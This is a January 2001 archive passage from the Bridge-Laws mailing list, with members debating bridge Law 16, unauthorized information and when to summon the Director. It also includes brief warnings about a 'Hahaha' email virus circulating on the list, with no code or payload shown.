http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 07:11:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04KBGI15179 for bridge-laws-outgoing; Fri, 5 Jan 2001 07:11:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04KB9t15142 for ; Fri, 5 Jan 2001 07:11:10 +1100 (EST) Received: from dodona (host213-1-54-152.host.btclick.com [213.1.54.152]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id UAA06645; Thu, 4 Jan 2001 20:10:41 GMT Message-ID: <004401c0768a$a69c4f00$983601d5@dodona> From: "Grattan Endicott" To: , "John A. Kuchenbrod" References: <00b801c07673$a85911a0$515862d8@jkuchenhome> Subject: Re: [BLML] a French Snow White Date: Thu, 4 Jan 2001 20:11:25 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott Today is the first day of the rest of your life. <===> ----- Original Message ----- From: John A. Kuchenbrod To: Sent: Thursday, January 04, 2001 5:23 PM Subject: [BLML] a French Snow White > Has anyone else received a copy of this French variant *NOT* through > BLML? > Not I. I received it twice but each time through blml. Each time I deleted without opening it. It has appeared similarly on the gester PC - and gone the same way. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 07:36:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04KaBv23816 for bridge-laws-outgoing; Fri, 5 Jan 2001 07:36:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04Ka4t23775 for ; Fri, 5 Jan 2001 07:36:05 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 4 Jan 2001 12:35:19 -0800 Message-ID: <002f01c0768d$e83f4220$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: <3A543E08.9F143DF2@village.uunet.be> Subject: Re: [BLML] What is suggested ? Date: Thu, 4 Jan 2001 12:35:30 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Herman wrote: > This starts as a lead problem : > > you hold : > > Jx QJ8xx Qxx Axx > > green vs red, in third position. > > Partner passes, and RHO opens 1Di in a strong club system. > > You decide to overcall 1He. > > The bidding proceeds : > > Pn You > pass 1Di 1He 2Sp > pass 2NT pass 3Sp > pass 3NT pass pass > Dble all pass > > What is your lead ? Low heart. > > OK, second story - partner hesitates and passes. > > What is your lead ? Matchpoints, queen of hearts. The hesitation suggests a heart honor. IMPs, low heart (no LA) > > OK, real story - partner hesitates and doubles. > > What is your lead ? Matchpoints, queen of hearts. IMPs, low heart (no LA). Same reasons. > > Suppose that you believe that the double asks for spades. I > know, it's not. Suppose that in the second case you do the > "ethical" thing and lead non-spades, and find the correct > lead. > > Is ignorance an excuse ? Yes, but you may not be believed. > If a player does not know what is suggested, can he be held > subject to L16 ? My belief is that in the spirit of L16 he should not make an illogical call. Let's say he doesn't know whether a hesitation suggests a double or a bid, both of which are logical. If passing is illogical, he must not pass. When he picks one of the two logical actions, he may have some explaining to do in front of a skeptical AC if they think that action was suggested. If an illogical action is deliberately taken because of partner's hesitation, I think that should be treated as an infraction. If L16 doesn't say so, it should. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 07:45:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04KjKL26925 for bridge-laws-outgoing; Fri, 5 Jan 2001 07:45:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04KjDt26891 for ; Fri, 5 Jan 2001 07:45:14 +1100 (EST) Received: from [213.1.145.5] (helo=pbncomputer) by rhenium with smtp (Exim 3.03 #83) id 14EHFs-0004xb-00 for bridge-laws@rgb.anu.edu.au; Thu, 04 Jan 2001 20:45:01 +0000 Message-ID: <001d01c0768f$3c3549a0$059101d5@pbncomputer> From: "David Burn" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <00d101c07510$03f52d60$56991e18@san.rr.com> <007401c075a4$37154100$1910f7a5@oemcomputer> <002501c07624$86e92360$978101d5@pbncomputer> <001201c07686$3d3bd340$56991e18@san.rr.com> Subject: Re: [BLML] Annoyingly irregular Date: Thu, 4 Jan 2001 20:44:07 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv wrote: > The ACBL ELECTION for L16A1 says, in part: > > "They should summon the Director immediately when they believe there may > have been extraneous information resulting in calls or bids [plays?] > which could result in damage to their side." > > The question is: Doesn't this syntax convey that the TD should be called > when calls or plays *have been made* that may have been based on > extraneous information? Yes. The sentence suffers from subjunctivosis: if you believe that something has happened, then it may (or may not) have happened - the words "may have been" should be "has been". However, the import of the words is that before the Director should be summoned, an action must have been taken that could have been based on extraneous information. To take a concrete example: West North East South 1S 2H 3S 4H ...Pass Pass 4S The Director should be summoned following East's bid of four spades, not following West's pass after a hesitation. The final clause appears to me unnecessary and to some extent dangerous. Whether or not an action could damage the opponents, if it is (or may have been) suggested over a logical alternative by extraneous information, then it is an irregularity, and (per Law 9) the Director should be summoned as soon as there is reason to believe that it has occurred. Thus, even if South knows that he is going to double four spades for 1100, the Director should still be summoned. Otherwise, it would be necessary for a player to judge whether an opponent's action could damage his side before summoning the Director - and that judgement may in certain circumstances constitute unauthorized information. For example, in the case above, if South doubles four spades without summoning the Director, North will know not to bid five hearts, whatever his hand may be. I would use these words: "They should summon the Director immediately when they believe there has been extraneous information on which an opponent could have based a subsequent action." If (and again, I apologise for not having followed the thread closely), the intention of the ACBL is in fact that the Director should be summoned as soon as the extraneous information may have been transmitted, then the words "could have based" in the above should be replaced by "could base". In the original, the word "resulting" should be replaced by "which could result", but the sentence would then be so cumbersome that even the ACBL might hesitate to publish it. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 08:13:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04LCuD28530 for bridge-laws-outgoing; Fri, 5 Jan 2001 08:12:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04LCmt28476 for ; Fri, 5 Jan 2001 08:12:49 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id MAA03540 for ; Thu, 4 Jan 2001 12:26:51 -0900 Date: Thu, 4 Jan 2001 12:12:57 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] What is suggested ? In-Reply-To: <3A543E08.9F143DF2@village.uunet.be> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Thu, 4 Jan 2001, Herman De Wael wrote: > This starts as a lead problem : > > you hold : > > Jx QJ8xx Qxx Axx > > green vs red, in third position. > Pn You > pass 1Di 1He 2Sp > pass 2NT pass 3Sp > pass 3NT pass pass > Dble all pass > > What is your lead ? Depending on my mood, I will lead either a small heart, a small heart, a small heart, or a small heart. I would be very surprised to hear any other lead seriously considered, let alone made. Whether there is a double or not, a hesitation or not. > > Suppose that you believe that the double asks for spades. I > know, it's not. Suppose that in the second case you do the > "ethical" thing and lead non-spades, and find the correct > lead. If partner actually does does double, and if I am *sure* the double *emphatically* calls for a spade, *and* I think LHO a poor enough player to jump in and rebid his spades with neither adequate length nor strength for doing so, I will lead a spade. If partner hesitates then doubles, I suppose I have to be slightly more willing to lead the spade even if I am not convinced LHO is an idiot. But I won't be happy about it. But if partner doesn't double (hesitation or no), or if there is the least bit of doubt in my mind about the double calling for a spade (hesitation or no), nothing in the world, including an incompetent appeals committee, will talk me out of lead the heart I wanted to lead. > > Is ignorance an excuse ? > If a player does not know what is suggested, can he be held > subject to L16 ? In general, I'd say ignorance is not an excuse for failing to follow the rules of the game. A player is always subject to L16; but if he doesn't know what is suggested I'd be very surprised if "demonstrably" is met and he is unlikely to have his options restricted. In the case at hand, I feel the player's course of action is so clear-cut that these questions don't come into play. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 08:13:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04LDp128835 for bridge-laws-outgoing; Fri, 5 Jan 2001 08:13:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04LDit28796 for ; Fri, 5 Jan 2001 08:13:45 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id QAA14815 for ; Thu, 4 Jan 2001 16:13:41 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id QAA29385 for bridge-laws@rgb.anu.edu.au; Thu, 4 Jan 2001 16:13:41 -0500 (EST) Date: Thu, 4 Jan 2001 16:13:41 -0500 (EST) From: Steve Willner Message-Id: <200101042113.QAA29385@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Annoyingly irregular X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Marvin L. French" > The ACBL ELECTION for L16A1 says, in part: > > "They should summon the Director immediately when they believe there may > have been extraneous information resulting in calls or bids [plays?] > which could result in damage to their side." > > The question is: Doesn't this syntax convey that the TD should be called > when calls or plays *have been made* that may have been based on > extraneous information? It's very confusing indeed, especially when read in conjunction with L16A1 and A2. L16A1 pertains to the moment when UI is made available. In logic, it would seem that the ACBL BoD could do one of three things: 1) accept "reserving rights," 2) forbid reserving rights and say "Don't call the TD until permitted by L16A2," or 3) forbid reserving rights and say "Call the TD at once when you believe significant UI has been made available." L16A2 pertains to calls or plays after the UI exists. This law offers no SO elections. The footnote clearly specifies the time to call the TD under this law. Somehow the BoD seems to have attached the concept of L16A2 into the election of 16A1. It's pretty clear they meant to rule out 1), but whether they meant 2) or 3) or something else entirely isn't clear to me. Based on comments I've seen, probably in the ACBL Bulletin, I have held the opinion that they meant 3). _Duplicate Decisions_ says: "At ACBL sanctioned events, competitors are not allowed to announce that they reserve the right to summon the Director later. They should call the Director when they believe that extraneous information could well result in damage to their side. (San Francisco NABC, Fall, 1996.)" This seems to be an endorsement of 3). If that's what is meant, the BoD should change "resulting in" to "suggesting." (And of course 'bids' should certainly be 'plays'.) However, DD goes on to say: "When a player feels an opponent has taken action that could have been suggested by such information, he immediately calls the Director to the table." This seems to be a misinterpretation of L16A2, depending on what you think "feels" and "immediately" mean. What a mess! One almost thinks the BoD was deliberately trying to be opaque. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 08:30:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04LUHi04495 for bridge-laws-outgoing; Fri, 5 Jan 2001 08:30:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04LU7t04439 for ; Fri, 5 Jan 2001 08:30:08 +1100 (EST) Received: from twkdckuj (ppp035.pullman.com [204.227.174.35]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id NAA08957 for ; Thu, 4 Jan 2001 13:40:22 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010104123524.0072c98c@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 04 Jan 2001 13:32:18 -0800 To: bridge-laws@rgb.anu.edu.au From: "N. Scott Cardell" Subject: Re: [BLML] haha virus Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:22 AM 1/4/01 -0500, you wrote: >The list isn't getting spammed; looks as though M. Beauvillain is >infected. One header reproduced below. (The other is much the same.) > >All of us need to use virus checkers and _NEVER_ open an attachment >unless you are _certain_ what is in it. (Markus: can majordomo >automatically delete all attachments before sending messages to the >list? If so, that would be a good thing IMHO. Or maybe even reject >messages having attachments and tell the sender.) I suggest the following simple solution to the immediate problem. Set the filter on the BLML list to delete and not forward all messages from "Hahaha". Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 08:30:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04LUJu04507 for bridge-laws-outgoing; Fri, 5 Jan 2001 08:30:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04LU9t04452 for ; Fri, 5 Jan 2001 08:30:10 +1100 (EST) Received: from twkdckuj (ppp035.pullman.com [204.227.174.35]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id NAA08999 for ; Thu, 4 Jan 2001 13:40:24 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010104133205.00733d9c@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 04 Jan 2001 13:32:20 -0800 To: "Bridge Laws" From: "N. Scott Cardell" Subject: Re: [BLML] self-serving ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Well at least David Burn and I seem to have found agreement. :) Any more takers? :) At 07:59 AM 1/4/01 -0000, David Burn wrote: >Scott wrote: > >> >Well if not "shows" then "shows a hand I consider to be worth 12-14 >points >> >and requires partner to bid as if that is what I hold". >> >> I heartily concur! A 12 point hand means one worth the same as an >average >> 12 HCP hand. Even if one restricts that to a precisely average 12 HCP >hand >> and thus plays 12.0 to 14.0 then any rational bridge player should >> recognize A10xx,K10xx,xx,A9x as worth MORE than 12.0 points, where as >> QJx,Jxxx,Qxx,KQJ us worth less than 12.0 points. Of course such >> evaluations are simply good bridge the range on your cc identifies a >range >> of strength not simply raw HCP. Contrary to the comments of Herman De >Wael >> (see "Re: [BLML] Permitted system") using sound bridge judgement to >> evaluate your hands does not mean that 12 to 14 needs to be 11.9 to 14 >or >> some such. In fact I would rate A109x,K109x,xx,A10x as a good about >13.0 >> and would happily open it 1NT playing 13-15. > >Can we please have a moratorium on arguments that begin "the point count >by itself is inaccurate for evaluation purposes". We know this. It has >got nothing to do with the issue here, which is the question of how one >dislcoses one's methods. > >> Perhaps it would be best to add to the cc boxes for: >> >> Tend to upgrade and downgrade raw HCP based on: >> Spot cards __, Suit lengths __, Honor combinations __. >> (Check all that apply, if you use only raw stupid HCP check here __, >then >> go take some bridge lessons.) > >The difficulty is that you are supposed to disclose your methods to your >opponents, regardless of their ability. It is simply not good enough to >say: "1NT shows 12-14" and expect that to mean "1NT shows a hand that I >in my superior wisdom consider to be worth 12-14, irrespective of the >number of points I actually hold". There are a lot of players (the vast >majority, in fact) who would *not* open A10xx K10xx xx A9x, but who >*would* open QJx Jxxx Qxx KQJ. Now, they may not be very good bridge >players. But if they see only "12-14" on your convention card, then they >have a right to expect that, like them, you will open the latter hand >but not the former. If that is not how you would act, then you must tell >them this. Except for the "vast majority" comment I agree with all of the above. (At least here in ACBL land where far too few new players are being attracted to duplicate, at least a small majority do use something more than raw HCP at least in obvious cases.) I agree that disclosure is key. In fact one of my pet peeves is good players who refuse to answer such questions on the grounds that one is asking for the benefit of their "bridge judgement." >The price you pay for your superior judgement is the requirement to >disclose that it is what you use. Now, you may tell me that there isn't >enough space on the convention card to do this, and that may very well >be true (though the problem can be overcome with a modicum of ingenuity, >and Scott's suggestion above is a sensible one - apart from the final >two clauses, of course). But if you are going to "evaluate" certain >11-point hands and certain 15-point hands as "worth" 13 points, then in >one way or another, you *must* disclose the fact. Agreed. :) Other than the tongue in cheek two clauses, that you properly objected to, my suggestion was meant seriously. >David Burn >London, England Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 08:36:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04LZvT06386 for bridge-laws-outgoing; Fri, 5 Jan 2001 08:35:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04LZnt06346 for ; Fri, 5 Jan 2001 08:35:50 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id QAA15901 for ; Thu, 4 Jan 2001 16:35:47 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id QAA29468 for bridge-laws@rgb.anu.edu.au; Thu, 4 Jan 2001 16:35:47 -0500 (EST) Date: Thu, 4 Jan 2001 16:35:47 -0500 (EST) From: Steve Willner Message-Id: <200101042135.QAA29468@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Marvin L. French" > If an illogical action is deliberately taken because of partner's > hesitation, I think that should be treated as an infraction. If L16 > doesn't say so, it should. An illogical action that is made _more_ attractive by the UI is clearly forbidden by L73C. (Some people think L16 also forbids such an action, but I can't see that it matters. It's an infraction, one way or another.) An illogical action made _less_ attractive by the UI is legal, as far as I can tell. Why shouldn't it be? -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 08:54:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04Ls2H12525 for bridge-laws-outgoing; Fri, 5 Jan 2001 08:54:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.pinehurst.net (mail.pinehurst.net [12.4.96.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04Lrtt12480 for ; Fri, 5 Jan 2001 08:53:55 +1100 (EST) Received: from mom (sp3com1-130.connectnc.net [12.20.159.132]) by mail.pinehurst.net (8.9.3/8.9.3) with SMTP id QAA36348 for ; Thu, 4 Jan 2001 16:53:51 -0500 (EST) (envelope-from nancy@pinehurst.net) Message-ID: <007f01c07699$4a6e7280$849f140c@mom> Reply-To: "Nancy" From: "Nancy" To: "Bridge Laws \(E-mail\)" References: Subject: Re: [BLML] Les 7 coquir nains Date: Thu, 4 Jan 2001 16:57:10 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In Outlook Express one can block mail from a particular sender. In the main menu under message, one can block a message from that particular sender. I am doing that. It might help. Highlight the message then click on message, block sender . Be careful that you don't block someone you want to hear from. I regularly scan my machine with the program supplied by Chyah and will soon have a virus scanner provided by my ISP so it will never even reach my mailbox. Neat. Nancy ----- Original Message ----- From: "Martin Sinot" To: "Bridge Laws (E-mail)" Sent: Thursday, January 04, 2001 4:08 AM Subject: RE: [BLML] Les 7 coquir nains > Can somebody throw this guy off? It's the same virus again... > DON'T OPEN THE ATTACHMENT!!!!!!!!!!!!!!!!!!!!!!!! > > -- > Martin Sinot > Nijmegen > martin@spase.nl > > >-----Original Message----- > >From: Hahaha [mailto:hahaha@sexyfun.net] > >Sent: Thursday, January 04, 2001 9:03 > >Subject: [BLML] Les 7 coquir nains > > > > > >C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui > avaient > >aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez > >sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme > >toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air > >coquin... > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 09:23:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04MNJU19091 for bridge-laws-outgoing; Fri, 5 Jan 2001 09:23:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f38.law3.hotmail.com [209.185.241.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04MNDt19086 for ; Fri, 5 Jan 2001 09:23:14 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 4 Jan 2001 14:23:04 -0800 Received: from 134.134.248.27 by lw3fd.law3.hotmail.msn.com with HTTP; Thu, 04 Jan 2001 22:23:04 GMT X-Originating-IP: [134.134.248.27] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Annoyingly irregular Date: Thu, 04 Jan 2001 14:23:04 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 04 Jan 2001 22:23:04.0916 (UTC) FILETIME=[E8355940:01C0769C] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: "David Burn" > > "They should summon the Director immediately when they believe there >may > > have been extraneous information resulting in calls or bids [plays?] > > which could result in damage to their side." > > > > The question is: Doesn't this syntax convey that the TD should be >called > > when calls or plays *have been made* that may have been based on > > extraneous information? > >I would use these words: > >"They should summon the Director immediately when they believe there has >been extraneous information on which an opponent could have based a >subsequent action." I think they both suffer from removing the important requirement so far from the action to take. 1) "You should summon the Director immediately when an action is taken which may have been based on extraneous information." 2) "You should summon the Director when you believe an action was taken which has been based on extraneous information." It clarifies the distinction between calling the director when the information is made available and when the action is taken. This distinction is the significant change, no? It also removes "opponent" from the picture, since I should be allowed to call the director on my partner's violation of L16. You might also be able to remove "believe" from the picture as you probably wouldn't think to summon the director if you believe there was an irregularity. But a question to answer before that's done is whether you can still call the director if you don't come to that realization about bidding UI until after the hand had been played. That's the distinction I'm trying to make between 1 and 2, though it's rather subtle. I suspect that 2 is Marv's intent, but I thought I read some whisp about limiting the time allowed for contract corrections to before play of the hand. -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 09:37:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04MatL19132 for bridge-laws-outgoing; Fri, 5 Jan 2001 09:36:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04Mant19128 for ; Fri, 5 Jan 2001 09:36:49 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id RAA18020 for ; Thu, 4 Jan 2001 17:36:46 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id RAA29545 for bridge-laws@rgb.anu.edu.au; Thu, 4 Jan 2001 17:36:46 -0500 (EST) Date: Thu, 4 Jan 2001 17:36:46 -0500 (EST) From: Steve Willner Message-Id: <200101042236.RAA29545@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Annoyingly irregular X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Todd Zimnoch" > 1) "You should summon the Director immediately when an action is taken which > may have been based on extraneous information." > 2) "You should summon the Director when you believe an action was taken > which has been based on extraneous information." If you are talking about L16A2, the key phrase is "substantial reason to believe." The footnote clarifies what that means. This law offers no SO options. L16A1, which does offer SO options, relates to the time the UI is made available. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 10:04:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04N3pv20598 for bridge-laws-outgoing; Fri, 5 Jan 2001 10:03:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04N3it20573 for ; Fri, 5 Jan 2001 10:03:45 +1100 (EST) Received: from twkdckuj (ppp014.pullman.com [204.227.174.14]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id PAA66401 for ; Thu, 4 Jan 2001 15:14:00 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010104150551.0072a834@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 04 Jan 2001 15:05:57 -0800 To: bridge-laws@rgb.anu.edu.au From: "N. Scott Cardell" Subject: Re: [BLML] Annoyingly irregular Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 04:13 PM 1/4/01 -0500, you wrote: >> 